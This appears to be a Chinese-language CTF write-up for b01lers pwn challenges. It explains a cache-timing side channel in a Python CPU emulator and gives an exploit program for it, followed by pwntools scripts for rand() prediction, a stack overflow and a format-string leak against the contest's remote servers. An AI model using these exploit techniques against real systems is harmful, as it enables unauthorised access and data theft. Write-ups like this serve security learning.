最后一个pwn是一个python,看了半天实在不知道哪里有问题。最后一题是赛后看了wp复现的,后来才知道是对puthon的性质不熟悉,利用的是侧信道攻击。
CPU 这是最后一个pwn,也是本次比赛唯一一个有价值的pwn,因为前面三个都非常简单。
程序逻辑 首先逆向一下逻辑,他一共有14个类似寄存器一样的内容。每个用Xi表示。对应的内容表示如下。
X00: reset次数
X01:寄存器文件,包含了10个r
X02:execute次数(或者说是时间)
X03:访问过的内存(是一个key-value的形式)
X04:密文
X05:指令寄存器rip,指向当前运行到的内存
X06:一个函数,用int( )直接返回数字
X07:将寄存器转换为下标。例如r10转换为10
X08:一个函数,返回[-1000,1000]的一个数字
X09:返回一个内存下标
X10:内存读取的起始位置
这个CPU主要实现的就是一般的虚拟机能做到的加减乘除。我们读取flag的方式就是读到X04中储存的密文,放在r0-r3里面,调用一个magic指令就可以了。
在程序的一开始,X04被读入memory的0-3位置
1 2 3 4 5 6 7 def run (self, debug=0 ): ins = self.instructions[0 ] for i,v in enumerate (self.X04): self.memory[i] = v while (self.X05>=0 and self.X05<len (self.instructions) and self.X00<4 and self.X02<20000 ): ins = self.instructions[self.X05] self.execute(ins)
我们唯一可以和内存交互的地方是movfrom
和movto
。对应内容如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 elif ins.op == "movfrom" : X09 = ins.X10 + self.X01[ins.dsp] X09 = X09 % len (self.memory) if X09 in self.X03: v = self.X03[X09] v = (v & 0xffffffff ) self.X01[ins.X11] = v self.X05 += 1 else : v = self.memory[X09] self.X03[X09] = v self.execute(ins) elif ins.op == "movto" : X09 = ins.X10 + self.X01[ins.dsp] X09 = X09 % len (self.memory) if X09 in self.X03: del self.X03[X09] v = (self.X01[ins.X11] & 0xffffffff ) self.memory[X09] = v self.X05 += 1
movfrom
可以先把memory中的内容加载到X03中,当我们首次从内存中取出元素时,会进入movfrom
的else
的位置,注意这里再调用了一次execute
,第二次会进入第一次的if
,然后把内存的值写入寄存器X01。
我们确实可以通过这种方法读取memory
中的随机数。但是执行magic
还需要另外的条件。可以看到下面,magic首先会检查X00是不是2,而X00是reset指令的使用次数。但是,每次调用reset的时候,都会把当前的所有寄存器,memory都清空,也就将失去我们刚才获得的随机数 。比赛的时候逆向完逻辑,就卡在了这里。
1 2 3 4 5 6 7 8 9 elif ins.op == "magic" : if self.X00 == 2 : if tuple (self.X01[0 :4 ]) == self.X04: with open ("flag.txt" , "rb" ) as fp: cc = fp.read() cc = cc.strip() cc = cc.ljust(len (self.X01)*4 , b"\x00" ) for i in range (len (self.X01)): self.X01[i] = struct.unpack("<I" , cc[i*4 :(i+1 )*4 ])[0 ]
这里是reset
完成清空的过程。
1 2 3 4 5 6 7 8 def reset (self ): self.X05 = 0 self.X01 = [0 for r in range (X14)] self.memory = [0 for _ in range (X13)] self.X02 = 0 for k in self.X03.keys(): self.X03[k] = 0 self.X00 += 1
看似..似乎是矛盾的。
漏洞点 看了wp才知道,原来是因为自己对python的性质不熟悉造成的。以下程序
1 2 3 4 a = {} a = {1 :111 ,2 :222 } for i in a: print (i)
输出的内容是
并不是两个元组!也就是说,上面的key-map的每一个元素,其实只是每个元素的key值 。
那么这道题的漏洞点其实就很清楚了。回看reset,有这样一句指令。
1 2 for k in self.X03.keys(): self.X03[k] = 0
这一步所做的,其实只是清除了X03下标中的数据,而并没有清除X03的下标! 。
举个例子,我们一开始读入四个数据之后的X03结果为{0:aa,1:bb,2:cc,3:dd},在reset之后结果是{0:0,1:0,2:0,3:0}。但是在movfrom中,下面的指令
1 2 3 4 5 6 7 8 elif ins.op == "movfrom" : X09 = ins.X10 + self.X01[ins.dsp] X09 = X09 % len (self.memory) if X09 in self.X03: v = self.X03[X09] v = (v & 0xffffffff ) self.X01[ins.X11] = v self.X05 += 1
只是检查X09这个下标是不是在X03中 。也就是说:如果我们一开始把随机数当成下标,然后访问这个下标的数据,就会先把随机数对应的下标加载到X03,那么下次访问,将会少一个time周期。根据这个可以侧信道攻击得到随机数
这正是大名鼎鼎的meltdown的原版复现!
另外需要注意的是,reset之后程序下一条指令并不是reset后面的指令。比如说下面的例子。
1 2 3 4 movc r9 0 movfrom r0 0 r9 reset movfrom r1 1 r9
当第一次执行到reset之后,程序下一条指令是movc r9 0
。这是因为reset清空了X05,导致我们需要从头执行。
exp 总结一下思路:首先是用movfrom
读出随机数,然后访问随机数下标对应的内存。访问了之后调用reset。这应该回到我们开始的位置。但是除了之前提到的下标之外,所有信息全被清空了。为此,我们需要在程序一开始加上一个访问第0个内存的判断。如果访问过第0个,说明已经reset过,反之就是第一次访问。在第二次访问时,需要判断从零开始访问所有memory的时间,如果找到时间大于2的,就记录下来。这个下标就是随机数。
问题 在写的时候碰到的问题:由于限制了我们能够执行的指令数目至多为20000条,因此不能遍历所有内存。 没看解法之前,感觉没有想法,按理来说是要全部看一遍的,不然就是思路错了。
看了wp才发现,更巧妙的做法是**每次不直接读取对应的随机数,之后保存在随机数下标位置,而是获得随机数的二进制表示下的所有bit。考虑到给定的随机数是有范围的,至多可以用32个bit表示。那么我们可以为每个数字,在内存下标中记录二进制表示方法..感觉难以用语言描述。比如说下面的例子。
我们假定直到是从256开始的。那么我们规定,如果那个对应的二进制位置(比如说是第i位置)是0,就访问(256+i),让内存中cache这个数据。上面就相当于知道了这个数字的二进制表示是第一位(256)是0,第二位(257)是0,…以此类推,算满32位,就可以恢复出原始数字。
通过这种方法,访问每个数字时只需要访问内存32次,并且能够保存数字顺序。实在是很巧妙。
exp没有手写,调试了一边了解了原理。这位作者估计也是觉得没有注释太麻烦了,实现了一个前端编译器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 import recode = ''' movfrom r0 1337 r0 movc r3 3 time sub r0 r3 movc r1 1 ; always one movc r8 2 ; multiplier jmpz after_reset ; jmp to reset code ; first execution code before_reset: movc r2 1 ; mask main_loop: movfrom r0 0 r7 and r0 r2 jmpz next_bit movfrom r0 256 r5 next_bit: mul r2 r8 add r5 r1 mov r0 r2 jmpz next_var jmp main_loop next_var: add r7 r1; set r7=r7+1 mov r0 r7 ; set r0: r7 jmpg r3 do_reset ; r3=3 jmp before_reset do_reset: reset ; after reset code after_reset: xor r9 r9 movc r2 1 ; mask recover_var: time mov r4 r0 movfrom r0 256 r5 time sub r0 r4 sub r0 r3 sub r0 r1 jmpz r_next_bit or r9 r2 r_next_bit: mul r2 r8 add r5 r1 mov r0 r2 jmpz r_next_var jmp recover_var r_next_var: movto r9 0 r7 add r7 r1 mov r0 r7 jmpg r3 fin jmp after_reset fin: movfrom r0 0 r2 movfrom r1 1 r2 movfrom r3 3 r2 movfrom r2 2 r2 magic ''' code = [line.strip() for line in code.split('\n' )] code = [line for line in code if line and not line.startswith(';' )] labels = {} for i, line in enumerate (code): if line.endswith(':' ): label = line[:-1 ] assert label not in labels labels[label] = i del code[i] for i, line in enumerate (code): if ';' in line: line = re.sub(r';.*' , '' , line).strip() op = line.split(' ' ) if op[0 ] in ['jmp' , 'jmpz' ]: op[1 ] = str (labels[op[1 ]] - i) if op[0 ] in ['jmpg' ]: op[2 ] = str (labels[op[2 ]] - i) print (' ' .join(op)) print ('\n' * 2 )
反思和总结 这道题除了让我第一次知道侧信道攻击在CTF中的实际应用(出的太好了),还提出了一种优化meltdown攻击的方法。
之前我们做meltdown时,需要总共设置一个256*(4096)的空间,这道题给了我们启发。实际上,只需要8*4096个空间即可。我们可以用每个空间分别保存这个asci字符的每一位,一样可以恢复出256种数据。 归根结底,还是一个编码问题(题外话)
这题没做出来确实不亏,因为即使知道了这个cache可以缓存,一开始也很难想到用二进制记录数据。
gambler baby 直接预测rand()即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *filename="./gambler-baby1.tgz" libc_name="/lib/x86_64-linux-gnu/libc.so.6" io = remote('ctf.b01lers.com' ,9202 ) context.log_level='debug' elf=ELF(filename) libc=ELF(libc_name) context.terminal=['tmux' ,'split' ,'-hp' ,'60' ] from ctypes import *libc = cdll.LoadLibrary(libc_name) for i in range (0 ,100 ): a = chr (libc.rand()%26 +97 ) print (a) b = chr (libc.rand()%26 +97 ) print (a) c = chr (libc.rand()%26 +97 ) print (a) d = chr (libc.rand()%26 +97 ) print (a) payload = a+b+c+d print (payload) io.recvuntil('letters:' ) io.sendline(payload)
gambler overflow 裸栈溢出,但是不需要改返回值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *filename="./gambler_overflow" libc_name="/lib/x86_64-linux-gnu/libc.so.6" io = remote('ctf.b01lers.com' ,9203 ) context.log_level='debug' elf=ELF(filename) libc=ELF(libc_name) context.terminal=['tmux' ,'split' ,'-hp' ,'60' ] from ctypes import *libc = cdll.LoadLibrary(libc_name) for i in range (0 ,100 ): payload = b"a" *0x7 +b'\x00' +b'a' *0x7 +b'\n' io.recvuntil('letters: ' ) io.send(payload) io.interactive()
gambler supreme 格式化字符串即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from matplotlib.pyplot import flagfrom pwn import *filename="./gambler_supreme" libc_name="/lib/x86_64-linux-gnu/libc.so.6" io = remote('ctf.b01lers.com' ,9201 ) context.log_level='debug' elf=ELF(filename) libc=ELF(libc_name) context.terminal=['tmux' ,'split' ,'-hp' ,'60' ] from ctypes import *payload = b"%9$saaaa" + p64(0x404050 ) io.sendlineafter('(inclusive):' ,'1' ) io.sendlineafter('letters:' ,payload) flag_place = u64(io.recvuntil('aaaa' ,drop=True )[-4 :].ljust(8 ,b'\x00' )) print ('flag_place: ' + hex (flag_place))payload = b"%9$saaaa" + p64(flag_place) io.sendlineafter('letters:' ,payload) io.interactive()